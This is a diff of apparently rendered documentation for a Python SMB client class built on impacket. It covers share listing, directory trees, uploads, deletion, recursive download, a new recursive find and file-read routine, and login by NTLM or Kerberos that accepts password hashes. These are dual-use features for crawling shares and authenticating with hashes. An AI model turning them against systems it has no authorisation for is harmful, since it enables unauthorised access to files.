    -809                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -810                            else:
    -811                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -812
    -813            # 
    -814            elif len(entries) == 1:
    -815                entry = entries[0]
    -816                if entry.is_directory():
    -817                    if self.config.no_colors:
    -818                        print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -819                    else:
    -820                        print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -821                    recurse_action(
    -822                        base_dir=base_dir, 
    -823                        path=path+[entry.get_longname()],
    -824                        prompt=prompt+["    "]
    -825                    )
    -826                else:
    -827                    if self.config.no_colors:
    -828                        print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -829                    else:
    -830                        print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -831
    -832        # Entrypoint
    -833        try:
    -834            if self.config.no_colors:
    -835                print("%s\\" % path)
    -836            else:
    -837                print("\x1b[1;96m%s\x1b[0m\\" % path)
    -838            recurse_action(
    -839                base_dir=self.smb_cwd, 
    -840                path=[path],
    -841                prompt=[""]
    -842            )
    -843        except (BrokenPipeError, KeyboardInterrupt) as e:
    -844            print("[!] Interrupted.")
    -845            self.close_smb_session()
    -846            self.init_smb_session()
    -847
    -848    # Setter / Getter
    -849
    -850    def set_share(self, shareName):
    -851        """
    -852        Sets the current SMB share to the specified share name.
    -853
    -854        This method updates the SMB session to use the specified share name. It checks if the share name is valid
    -855        and updates the smb_share attribute of the SMBSession instance.
    -856
    -857        Parameters:
    -858            shareName (str): The name of the share to set as the current SMB share.
    -859
    -860        Raises:
    -861            ValueError: If the shareName is None or an empty string.
    -862        """
    -863
    -864        if shareName is not None:
    -865            self.smb_share = shareName
    -866
    -867    def set_cwd(self, path=None):
    -868        """
    -869        Sets the current working directory on the SMB share to the specified path.
    -870
    -871        This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory.
    -872        If the specified path is not a directory, the cwd remains unchanged.
    -873
    -874        Parameters:
    -875            path (str): The path to set as the current working directory.
    -876
    -877        Raises:
    -878            ValueError: If the specified path is not a directory.
    -879        """
    -880
    -881        if path is not None:
    -882            # Set path separators to ntpath sep 
    -883            if '/' in path:
    -884                path = path.replace('/', ntpath.sep)
    -885
    -886            if path.startswith(ntpath.sep):
    -887                # Absolute path
    -888                path = path + ntpath.sep
    -889            else:
    -890                # Relative path to the CWD
    -891                if len(self.smb_cwd) == 0:
    -892                    path = path + ntpath.sep
    -893                else:
    -894                    path = self.smb_cwd + ntpath.sep + path
    -895            
    -896            # Path normalization
    -897            path = ntpath.normpath(path)
    -898            path = re.sub(r'\\+', r'\\', path)
    -899
    -900            if path in ["", ".", ".."]:
    -901                self.smb_cwd = ""
    -902            else:
    -903                if self.path_isdir(pathFromRoot=path.strip(ntpath.sep)):
    -904                    # Path exists on the remote 
    -905                    self.smb_cwd = ntpath.normpath(path)
    -906                else:
    -907                    # Path does not exists or is not a directory on the remote 
    -908                    print("[!] Remote directory '%s' does not exist." % path)
    +734                    for local_file_path in local_files[local_dir_path]:
    +735                        try:
    +736                            f = LocalFileIO(
    +737                                mode="rb", 
    +738                                path=local_dir_path + os.path.sep + local_file_path, 
    +739                                debug=self.config.debug
    +740                            )
    +741                            self.smbClient.putFile(
    +742                                shareName=self.smb_share, 
    +743                                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep + local_file_path), 
    +744                                callback=f.read
    +745                            )
    +746                            f.close()
    +747
    +748                        except BrokenPipeError as err:
    +749                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    +750                            f.close(remove=True)
    +751                            break
    +752                        except Exception as err:
    +753                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    +754                            f.close(remove=True)
    +755                else:
    +756                    print("[!] The specified localpath is a file. Use 'put <file>' instead.")
    +757        else:
    +758            print("[!] The specified localpath does not exist.")
    +759
    +760    def rmdir(self, path=None):
    +761        """
    +762        Removes a directory from the SMB share at the specified path.
    +763
    +764        This method attempts to delete a directory located at the given path on the SMB share. If the operation fails,
    +765        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    +766        the stack trace of the exception.
    +767
    +768        Args:
    +769            path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None.
    +770        """
    +771        try:
    +772            self.smbClient.deleteDirectory(
    +773                shareName=self.smb_share, 
    +774                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    +775            )
    +776        except Exception as err:
    +777            print("[!] Failed to remove directory '%s': %s" % (path, err))
    +778            if self.config.debug:
    +779                traceback.print_exc()
    +780
    +781    def rm(self, path=None):
    +782        """
    +783        Removes a file from the SMB share at the specified path.
    +784
    +785        This method attempts to delete a file located at the given path on the SMB share. If the operation fails,
    +786        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    +787        the stack trace of the exception.
    +788
    +789        Args:
    +790            path (str, optional): The path of the file to be removed on the SMB share. Defaults to None.
    +791        """
    +792        try:
    +793            self.smbClient.deleteFile(
    +794                shareName=self.smb_share, 
    +795                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    +796            )
    +797        except Exception as err:
    +798            print("[!] Failed to remove file '%s': %s" % (path, err))
    +799            if self.config.debug:
    +800                traceback.print_exc()
    +801
    +802    def tree(self, path=None):
    +803        """
    +804        Recursively lists the directory structure of the SMB share starting from the specified path.
    +805
    +806        This function prints a visual representation of the directory tree of the remote SMB share. It uses
    +807        recursion to navigate through directories and lists all files and subdirectories in each directory.
    +808        The output is color-coded and formatted to enhance readability, with directories highlighted in cyan.
    +809
    +810        Args:
    +811            path (str, optional): The starting path on the SMB share from which to begin listing the tree.
    +812                                  Defaults to the root of the current share.
    +813        """
    +814        
    +815        def recurse_action(base_dir="", path=[], prompt=[]):
    +816            bars = ["│   ", "├── ", "└── "]
    +817
    +818            remote_smb_path = ntpath.normpath(base_dir + ntpath.sep + ntpath.sep.join(path))
    +819
    +820            entries = []
    +821            try:
    +822                entries = self.smbClient.listPath(
    +823                    shareName=self.smb_share, 
    +824                    path=remote_smb_path+'\\*'
    +825                )
    +826            except impacket.smbconnection.SessionError as err:
    +827                code, const, text = err.getErrorCode(), err.getErrorString()[0], err.getErrorString()[1]
    +828                errmsg = "Error 0x%08x (%s): %s" % (code, const, text)
    +829                if self.config.no_colors:
    +830                    print("%s%s" % (''.join(prompt+[bars[2]]), errmsg))
    +831                else:
    +832                    print("%s\x1b[1;91m%s\x1b[0m" % (''.join(prompt+[bars[2]]), errmsg))
    +833                return 
    +834
    +835            entries = [e for e in entries if e.get_longname() not in [".", ".."]]
    +836            entries = sorted(entries, key=lambda x:x.get_longname())
    +837
    +838            # 
    +839            if len(entries) > 1:
    +840                index = 0
    +841                for entry in entries:
    +842                    index += 1
    +843                    # This is the first entry 
    +844                    if index == 0:
    +845                        if entry.is_directory():
    +846                            if self.config.no_colors:
    +847                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +848                            else:
    +849                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +850                            recurse_action(
    +851                                base_dir=base_dir, 
    +852                                path=path+[entry.get_longname()],
    +853                                prompt=prompt+["│   "]
    +854                            )
    +855                        else:
    +856                            if self.config.no_colors:
    +857                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +858                            else:
    +859                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +860
    +861                    # This is the last entry
    +862                    elif index == len(entries):
    +863                        if entry.is_directory():
    +864                            if self.config.no_colors:
    +865                                print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +866                            else:
    +867                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +868                            recurse_action(
    +869                                base_dir=base_dir, 
    +870                                path=path+[entry.get_longname()],
    +871                                prompt=prompt+["    "]
    +872                            )
    +873                        else:
    +874                            if self.config.no_colors:
    +875                                print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +876                            else:
    +877                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +878                        
    +879                    # These are entries in the middle
    +880                    else:
    +881                        if entry.is_directory():
    +882                            if self.config.no_colors:
    +883                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +884                            else:
    +885                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +886                            recurse_action(
    +887                                base_dir=base_dir, 
    +888                                path=path+[entry.get_longname()],
    +889                                prompt=prompt+["│   "]
    +890                            )
    +891                        else:
    +892                            if self.config.no_colors:
    +893                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +894                            else:
    +895                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    +896
    +897            # 
    +898            elif len(entries) == 1:
    +899                entry = entries[0]
    +900                if entry.is_directory():
    +901                    if self.config.no_colors:
    +902                        print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +903                    else:
    +904                        print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +905                    recurse_action(
    +906                        base_dir=base_dir, 
    +907                        path=path+[entry.get_longname()],
    +908                        prompt=prompt+["    "]
    +909                    )
    +910                else:
    +911                    if self.config.no_colors:
    +912                        print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +913                    else:
    +914                        print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    +915
    +916        # Entrypoint
    +917        try:
    +918            if self.config.no_colors:
    +919                print("%s\\" % path)
    +920            else:
    +921                print("\x1b[1;96m%s\x1b[0m\\" % path)
    +922            recurse_action(
    +923                base_dir=self.smb_cwd, 
    +924                path=[path],
    +925                prompt=[""]
    +926            )
    +927        except (BrokenPipeError, KeyboardInterrupt) as e:
    +928            print("[!] Interrupted.")
    +929            self.close_smb_session()
    +930            self.init_smb_session()
    +931
    +932    # Setter / Getter
    +933
    +934    def set_share(self, shareName):
    +935        """
    +936        Sets the current SMB share to the specified share name.
    +937
    +938        This method updates the SMB session to use the specified share name. It checks if the share name is valid
    +939        and updates the smb_share attribute of the SMBSession instance.
    +940
    +941        Parameters:
    +942            shareName (str): The name of the share to set as the current SMB share.
    +943
    +944        Raises:
    +945            ValueError: If the shareName is None or an empty string.
    +946        """
    +947
    +948        if shareName is not None:
    +949            self.list_shares()
    +950            if shareName.lower() in self.available_shares.keys():
    +951                # Doing this in order to keep the case of the share adevertised by the remote machine
    +952                self.smb_share = self.available_shares[shareName.lower()]["name"]
    +953            else:
    +954                print("[!] Could not set share '%s', it does not exist remotely." % shareName)
    +955
    +956    def set_cwd(self, path=None):
    +957        """
    +958        Sets the current working directory on the SMB share to the specified path.
    +959
    +960        This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory.
    +961        If the specified path is not a directory, the cwd remains unchanged.
    +962
    +963        Parameters:
    +964            path (str): The path to set as the current working directory.
    +965
    +966        Raises:
    +967            ValueError: If the specified path is not a directory.
    +968        """
    +969
    +970        if path is not None:
    +971            # Set path separators to ntpath sep 
    +972            if '/' in path:
    +973                path = path.replace('/', ntpath.sep)
    +974
    +975            if path.startswith(ntpath.sep):
    +976                # Absolute path
    +977                path = path + ntpath.sep
    +978            else:
    +979                # Relative path to the CWD
    +980                if len(self.smb_cwd) == 0:
    +981                    path = path + ntpath.sep
    +982                else:
    +983                    path = self.smb_cwd + ntpath.sep + path
    +984            
    +985            # Path normalization
    +986            path = ntpath.normpath(path)
    +987            path = re.sub(r'\\+', r'\\', path)
    +988
    +989            if path in ["", ".", ".."]:
    +990                self.smb_cwd = ""
    +991            else:
    +992                if self.path_isdir(pathFromRoot=path.strip(ntpath.sep)):
    +993                    # Path exists on the remote 
    +994                    self.smb_cwd = ntpath.normpath(path)
    +995                else:
    +996                    # Path does not exists or is not a directory on the remote 
    +997                    print("[!] Remote directory '%s' does not exist." % path)
     
    @@ -2011,31 +2194,31 @@

    -
    45    def __init__(self, address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, config=None):
    -46        super(SMBSession, self).__init__()
    -47        # Objects
    -48        self.config = config
    -49
    -50        # Target server
    -51        self.address = address
    -52
    -53        # Credentials
    -54        self.domain = domain
    -55        self.username = username
    -56        self.password = password 
    -57        self.lmhash = lmhash
    -58        self.nthash = nthash
    -59        self.use_kerberos = use_kerberos
    -60        self.kdcHost = kdcHost
    -61
    -62        self.smbClient = None
    -63        self.connected = False
    -64
    -65        self.available_shares = {}
    -66        self.smb_share = None
    -67        self.smb_cwd = ""
    -68
    -69        self.list_shares()
    +            
    46    def __init__(self, address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, config=None):
    +47        super(SMBSession, self).__init__()
    +48        # Objects
    +49        self.config = config
    +50
    +51        # Target server
    +52        self.address = address
    +53
    +54        # Credentials
    +55        self.domain = domain
    +56        self.username = username
    +57        self.password = password 
    +58        self.lmhash = lmhash
    +59        self.nthash = nthash
    +60        self.use_kerberos = use_kerberos
    +61        self.kdcHost = kdcHost
    +62
    +63        self.smbClient = None
    +64        self.connected = False
    +65
    +66        self.available_shares = {}
    +67        self.smb_share = None
    +68        self.smb_cwd = ""
    +69
    +70        self.list_shares()
     
    @@ -2207,63 +2390,76 @@

    -
     73    def init_smb_session(self):
    - 74        """
    - 75        Initializes and establishes a session with the SMB server.
    - 76
    - 77        This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration.
    - 78        It attempts to connect to the SMB server specified by the `address` attribute and authenticate using the credentials provided during the object's initialization.
    - 79
    - 80        The method will print debug information if the `debug` attribute is set to True. Upon successful connection and authentication, it sets the `connected` attribute to True.
    - 81
    - 82        Returns:
    - 83            bool: True if the connection and authentication are successful, False otherwise.
    - 84        """
    - 85
    - 86        if self.config.debug:
    - 87            print("[debug] [>] Connecting to remote SMB server '%s' ... " % self.address)
    - 88        try:
    - 89            self.smbClient = impacket.smbconnection.SMBConnection(
    - 90                remoteName=self.address,
    - 91                remoteHost=self.address,
    - 92                sess_port=int(445)
    - 93            )
    - 94        except OSError as err:
    - 95            print("[!] %s" % err)
    - 96            self.smbClient = None
    - 97
    - 98        self.connected = False
    - 99        if self.smbClient is not None:
    -100            if self.use_kerberos:
    -101                if self.config.debug:
    -102                    print("[debug] [>] Authenticating as '%s\\%s' with kerberos ... " % (self.domain, self.username))
    -103                self.connected = self.smbClient.kerberosLogin(
    -104                    user=self.username,
    -105                    password=self.password,
    -106                    domain=self.domain,
    -107                    lmhash=self.lmhash,
    -108                    nthash=self.nthash,
    -109                    aesKey=self.aesKey,
    -110                    kdcHost=self.kdcHost
    -111                )
    -112
    -113            else:
    -114                if self.config.debug:
    -115                    print("[debug] [>] Authenticating as '%s\\%s' with NTLM ... " % (self.domain, self.username))
    -116                self.connected = self.smbClient.login(
    -117                    user=self.username,
    -118                    password=self.password,
    -119                    domain=self.domain,
    -120                    lmhash=self.lmhash,
    -121                    nthash=self.nthash
    -122                )
    -123
    -124            if self.connected:
    -125                print("[+] Successfully authenticated to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    -126            else:
    -127                print("[!] Failed to authenticate to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    -128
    -129        return self.connected
    +            
     74    def init_smb_session(self):
    + 75        """
    + 76        Initializes and establishes a session with the SMB server.
    + 77
    + 78        This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration.
    + 79        It attempts to connect to the SMB server specified by the `address` attribute and authenticate using the credentials provided during the object's initialization.
    + 80
    + 81        The method will print debug information if the `debug` attribute is set to True. Upon successful connection and authentication, it sets the `connected` attribute to True.
    + 82
    + 83        Returns:
    + 84            bool: True if the connection and authentication are successful, False otherwise.
    + 85        """
    + 86
    + 87        self.connected = False
    + 88
    + 89        if self.config.debug:
    + 90            print("[debug] [>] Connecting to remote SMB server '%s' ... " % self.address)
    + 91        try:
    + 92            self.smbClient = impacket.smbconnection.SMBConnection(
    + 93                remoteName=self.address,
    + 94                remoteHost=self.address,
    + 95                sess_port=int(445)
    + 96            )
    + 97        except OSError as err:
    + 98            print("[!] %s" % err)
    + 99            self.smbClient = None
    +100
    +101        if self.smbClient is not None:
    +102            if self.use_kerberos:
    +103                if self.config.debug:
    +104                    print("[debug] [>] Authenticating as '%s\\%s' with kerberos ... " % (self.domain, self.username))
    +105                try:
    +106                    self.connected = self.smbClient.kerberosLogin(
    +107                        user=self.username,
    +108                        password=self.password,
    +109                        domain=self.domain,
    +110                        lmhash=self.lmhash,
    +111                        nthash=self.nthash,
    +112                        aesKey=self.aesKey,
    +113                        kdcHost=self.kdcHost
    +114                    )
    +115                except impacket.smbconnection.SessionError as err:
    +116                    if self.config.debug:
    +117                        traceback.print_exc()
    +118                    print("[!] Could not login: %s" % err)
    +119                    self.connected = False
    +120
    +121            else:
    +122                if self.config.debug:
    +123                    print("[debug] [>] Authenticating as '%s\\%s' with NTLM ... " % (self.domain, self.username))
    +124                try:
    +125                    self.connected = self.smbClient.login(
    +126                        user=self.username,
    +127                        password=self.password,
    +128                        domain=self.domain,
    +129                        lmhash=self.lmhash,
    +130                        nthash=self.nthash
    +131                    )
    +132                except impacket.smbconnection.SessionError as err:
    +133                    if self.config.debug:
    +134                        traceback.print_exc()
    +135                    print("[!] Could not login: %s" % err)
    +136                    self.connected = False
    +137
    +138            if self.connected:
    +139                print("[+] Successfully authenticated to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    +140            else:
    +141                print("[!] Failed to authenticate to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username))
    +142
    +143        return self.connected
     
    @@ -2291,26 +2487,28 @@

    -
    131    def close_smb_session(self):
    -132        """
    -133        Closes the current SMB session by disconnecting the SMB client.
    -134
    -135        This method ensures that the SMB client connection is properly closed. It checks if the client is connected
    -136        and if so, it closes the connection and resets the connection status.
    -137
    -138        Raises:
    -139            Exception: If the SMB client is not initialized or if there's an error during the disconnection process.
    -140        """
    -141
    -142        if self.smbClient is not None:
    -143            if self.connected:
    -144                self.smbClient.close()
    -145                self.connected = False
    -146                print("[+] SMB connection closed successfully.")
    -147            else:
    -148                print("[!] No active SMB connection to close.")
    -149        else:
    -150            raise Exception("SMB client is not initialized.")
    +            
    145    def close_smb_session(self):
    +146        """
    +147        Closes the current SMB session by disconnecting the SMB client.
    +148
    +149        This method ensures that the SMB client connection is properly closed. It checks if the client is connected
    +150        and if so, it closes the connection and resets the connection status.
    +151
    +152        Raises:
    +153            Exception: If the SMB client is not initialized or if there's an error during the disconnection process.
    +154        """
    +155
    +156        if self.smbClient is not None:
    +157            if self.connected:
    +158                self.smbClient.close()
    +159                self.connected = False
    +160                if self.config.debug:
    +161                    print("[+] SMB connection closed successfully.")
    +162            else:
    +163                if self.config.debug:
    +164                    print("[!] No active SMB connection to close.")
    +165        else:
    +166            raise Exception("SMB client is not initialized.")
     
    @@ -2324,6 +2522,105 @@

    + +
    + +
    + + def + read_file(self, path=None): + + + +
    + +
    170    def read_file(self, path=None):
    +171        if self.path_isfile(path=path):
    +172            tmp_file_path = self.smb_cwd + ntpath.sep + path
    +173            matches = self.smbClient.listPath(
    +174                shareName=self.smb_share, 
    +175                path=tmp_file_path
    +176            )
    +177
    +178            fh = io.BytesIO()
    +179            try:
    +180                # opening the files in streams instead of mounting shares allows 
    +181                # for running the script from unprivileged containers
    +182                self.smbClient.getFile(self.smb_share, tmp_file_path, fh.write)
    +183            except impacket.smbconnection.SessionError as e:
    +184                return None
    +185            rawdata = fh.getvalue()
    +186            fh.close()
    +187            return rawdata
    +188        else:
    +189            print("[!] Remote path '%s' is not a file." % path)
    +
    + + + + +
    +
    + +
    + + def + find(self, paths=[], callback=None): + + + +
    + +
    191    def find(self, paths=[], callback=None):
    +192        def recurse_action(paths=[], depth=0, callback=None):
    +193            if callback is None:
    +194                return []
    +195            next_directories_to_explore = []
    +196            for path in paths:
    +197                remote_smb_path = ntpath.normpath(self.smb_cwd + ntpath.sep + path)
    +198                entries = []
    +199                
    +200                try:
    +201                    entries = self.smbClient.listPath(
    +202                        shareName=self.smb_share, 
    +203                        path=(remote_smb_path + ntpath.sep + '*')
    +204                    )
    +205                except impacket.smbconnection.SessionError as err:
    +206                    continue 
    +207                # Remove dot names
    +208                entries = [e for e in entries if e.get_longname() not in [".", ".."]]
    +209                # Sort the entries ignoring case
    +210                entries = sorted(entries, key=lambda x:x.get_longname().lower())
    +211                
    +212                for entry in entries:
    +213                    if entry.is_directory():
    +214                        callback(entry, path + entry.get_longname() + ntpath.sep, depth)
    +215                    else:
    +216                        callback(entry, path + entry.get_longname(), depth)
    +217
    +218                # Next directories to explore
    +219                for entry in entries:
    +220                    if entry.is_directory():
    +221                        next_directories_to_explore.append(path + entry.get_longname() + ntpath.sep)
    +222            
    +223            return next_directories_to_explore
    +224        # 
    +225        if callback is not None:
    +226            depth = 0
    +227            while len(paths) != 0:
    +228                paths = recurse_action(
    +229                    paths=paths,
    +230                    depth=depth,
    +231                    callback=callback
    +232                )
    +233                depth = depth + 1
    +234        else:
    +235            print("[!] SMBSession.find(), callback function cannot be None.")
    +
    + + + +
    @@ -2336,56 +2633,56 @@

    -
    154    def get_file(self, path=None, keepRemotePath=False):
    -155        """
    -156        Retrieves a file from the specified path on the SMB share.
    -157
    -158        This method attempts to retrieve a file from the given path within the currently connected SMB share.
    -159        If the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local
    -160        file object and writing the contents of the remote file to it using the SMB client's getFile method.
    -161
    -162        Parameters:
    -163            path (str): The path of the file to retrieve. If None, uses the current smb_path.
    -164
    -165        Returns:
    -166            None
    -167        """
    -168
    -169        tmp_file_path = self.smb_cwd + ntpath.sep + path
    -170        matches = self.smbClient.listPath(
    -171            shareName=self.smb_share, 
    -172            path=tmp_file_path
    -173        )
    -174        
    -175        for entry in matches:
    -176            if entry.is_directory():
    -177                print("[>] Skipping '%s' because it is a directory." % tmp_file_path)
    -178            else:
    -179                try:
    -180                    if ntpath.sep in path:
    -181                        outputfile = ntpath.dirname(path) + ntpath.sep + entry.get_longname()
    -182                    else:
    -183                        outputfile = entry.get_longname()
    -184                    f = LocalFileIO(
    -185                        mode="wb", 
    -186                        path=outputfile,
    -187                        expected_size=entry.get_filesize(), 
    -188                        debug=self.config.debug,
    -189                        keepRemotePath=keepRemotePath
    -190                    )
    -191                    self.smbClient.getFile(
    -192                        shareName=self.smb_share, 
    -193                        pathName=tmp_file_path, 
    -194                        callback=f.write
    -195                    )
    -196                    f.close()
    -197                except (BrokenPipeError, KeyboardInterrupt) as e:
    -198                    f.close()
    -199                    print("\x1b[v\x1b[o\r[!] Interrupted.")
    -200                    self.close_smb_session()
    -201                    self.init_smb_session()
    -202                        
    -203        return None
    +            
    237    def get_file(self, path=None, keepRemotePath=False):
    +238        """
    +239        Retrieves a file from the specified path on the SMB share.
    +240
    +241        This method attempts to retrieve a file from the given path within the currently connected SMB share.
    +242        If the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local
    +243        file object and writing the contents of the remote file to it using the SMB client's getFile method.
    +244
    +245        Parameters:
    +246            path (str): The path of the file to retrieve. If None, uses the current smb_path.
    +247
    +248        Returns:
    +249            None
    +250        """
    +251
    +252        tmp_file_path = self.smb_cwd + ntpath.sep + path
    +253        matches = self.smbClient.listPath(
    +254            shareName=self.smb_share, 
    +255            path=tmp_file_path
    +256        )
    +257        
    +258        for entry in matches:
    +259            if entry.is_directory():
    +260                print("[>] Skipping '%s' because it is a directory." % tmp_file_path)
    +261            else:
    +262                try:
    +263                    if ntpath.sep in path:
    +264                        outputfile = ntpath.dirname(path) + ntpath.sep + entry.get_longname()
    +265                    else:
    +266                        outputfile = entry.get_longname()
    +267                    f = LocalFileIO(
    +268                        mode="wb", 
    +269                        path=outputfile,
    +270                        expected_size=entry.get_filesize(), 
    +271                        debug=self.config.debug,
    +272                        keepRemotePath=keepRemotePath
    +273                    )
    +274                    self.smbClient.getFile(
    +275                        shareName=self.smb_share, 
    +276                        pathName=tmp_file_path, 
    +277                        callback=f.write
    +278                    )
    +279                    f.close()
    +280                except (BrokenPipeError, KeyboardInterrupt) as e:
    +281                    f.close()
    +282                    print("\x1b[v\x1b[o\r[!] Interrupted.")
    +283                    self.close_smb_session()
    +284                    self.init_smb_session()
    +285                        
    +286        return None
     
    @@ -2415,73 +2712,73 @@

    -
    205    def get_file_recursively(self, path=None):
    -206        """
    -207        Recursively retrieves files from a specified path on the SMB share.
    -208
    -209        This method navigates through all directories starting from the given path,
    -210        and downloads all files found. It handles directories recursively, ensuring
    -211        that all nested files are retrieved. The method skips over directory entries
    -212        and handles errors gracefully, attempting to continue the operation where possible.
    -213
    -214        Parameters:
    -215            path (str): The initial directory path from which to start the recursive file retrieval.
    -216                        If None, it starts from the root of the configured SMB share.
    -217        """
    -218        
    -219        def recurse_action(base_dir="", path=[]):
    -220            remote_smb_path = base_dir + ntpath.sep.join(path)
    -221            entries = self.smbClient.listPath(
    -222                shareName=self.smb_share, 
    -223                path=remote_smb_path + '\\*'
    -224            )
    -225            if len(entries) != 0:
    -226                files = [entry for entry in entries if not entry.is_directory()]
    -227                directories = [entry for entry in entries if entry.is_directory() and entry.get_longname() not in [".", ".."]]
    -228
    -229                # Files
    -230                if len(files) != 0:
    -231                    print("[>] Retrieving files of '%s'" % remote_smb_path)
    -232                for entry_file in files:
    -233                    if not entry_file.is_directory():
    -234                        f = LocalFileIO(
    -235                            mode="wb",
    -236                            path=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    -237                            expected_size=entry_file.get_filesize(),
    -238                            debug=self.config.debug
    -239                        )
    -240                        try:
    -241                            self.smbClient.getFile(
    -242                                shareName=self.smb_share, 
    -243                                pathName=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    -244                                callback=f.write
    -245                            )
    -246                            f.close()
    -247                        except BrokenPipeError as err:
    -248                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    -249                            f.close(remove=True)
    -250                            break
    -251                        except Exception as err:
    -252                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    -253                            f.close(remove=True)
    -254                
    -255                # Directories
    -256                for entry_directory in directories:
    -257                    if entry_directory.is_directory():
    -258                        recurse_action(
    -259                            base_dir=self.smb_cwd, 
    -260                            path=path+[entry_directory.get_longname()]
    -261                        )                   
    -262        # Entrypoint
    -263        try:
    -264            recurse_action(
    -265                base_dir=self.smb_cwd, 
    -266                path=[path]
    -267            )
    -268        except (BrokenPipeError, KeyboardInterrupt) as e:
    -269            print("\x1b[v\x1b[o\r[!] Interrupted.")
    -270            self.close_smb_session()
    -271            self.init_smb_session()
    +            
    288    def get_file_recursively(self, path=None):
    +289        """
    +290        Recursively retrieves files from a specified path on the SMB share.
    +291
    +292        This method navigates through all directories starting from the given path,
    +293        and downloads all files found. It handles directories recursively, ensuring
    +294        that all nested files are retrieved. The method skips over directory entries
    +295        and handles errors gracefully, attempting to continue the operation where possible.
    +296
    +297        Parameters:
    +298            path (str): The initial directory path from which to start the recursive file retrieval.
    +299                        If None, it starts from the root of the configured SMB share.
    +300        """
    +301        
    +302        def recurse_action(base_dir="", path=[]):
    +303            remote_smb_path = base_dir + ntpath.sep.join(path)
    +304            entries = self.smbClient.listPath(
    +305                shareName=self.smb_share, 
    +306                path=remote_smb_path + '\\*'
    +307            )
    +308            if len(entries) != 0:
    +309                files = [entry for entry in entries if not entry.is_directory()]
    +310                directories = [entry for entry in entries if entry.is_directory() and entry.get_longname() not in [".", ".."]]
    +311
    +312                # Files
    +313                if len(files) != 0:
    +314                    print("[>] Retrieving files of '%s'" % remote_smb_path)
    +315                for entry_file in files:
    +316                    if not entry_file.is_directory():
    +317                        f = LocalFileIO(
    +318                            mode="wb",
    +319                            path=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    +320                            expected_size=entry_file.get_filesize(),
    +321                            debug=self.config.debug
    +322                        )
    +323                        try:
    +324                            self.smbClient.getFile(
    +325                                shareName=self.smb_share, 
    +326                                pathName=remote_smb_path + ntpath.sep + entry_file.get_longname(), 
    +327                                callback=f.write
    +328                            )
    +329                            f.close()
    +330                        except BrokenPipeError as err:
    +331                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    +332                            f.close(remove=True)
    +333                            break
    +334                        except Exception as err:
    +335                            f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err))
    +336                            f.close(remove=True)
    +337                
    +338                # Directories
    +339                for entry_directory in directories:
    +340                    if entry_directory.is_directory():
    +341                        recurse_action(
    +342                            base_dir=self.smb_cwd, 
    +343                            path=path+[entry_directory.get_longname()]
    +344                        )                   
    +345        # Entrypoint
    +346        try:
    +347            recurse_action(
    +348                base_dir=self.smb_cwd, 
    +349                path=[path]
    +350            )
    +351        except (BrokenPipeError, KeyboardInterrupt) as e:
    +352            print("\x1b[v\x1b[o\r[!] Interrupted.")
    +353            self.close_smb_session()
    +354            self.init_smb_session()
     
    @@ -2510,80 +2807,80 @@

    -
    273    def info(self, share=True, server=True):
    -274        """
    -275        Displays information about the server and optionally the shares.
    -276
    -277        This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the `share` parameter is set to True and a share is currently set, it will also attempt to display information about the share.
    -278
    -279        Parameters:
    -280            share (bool): If True, display information about the current share.
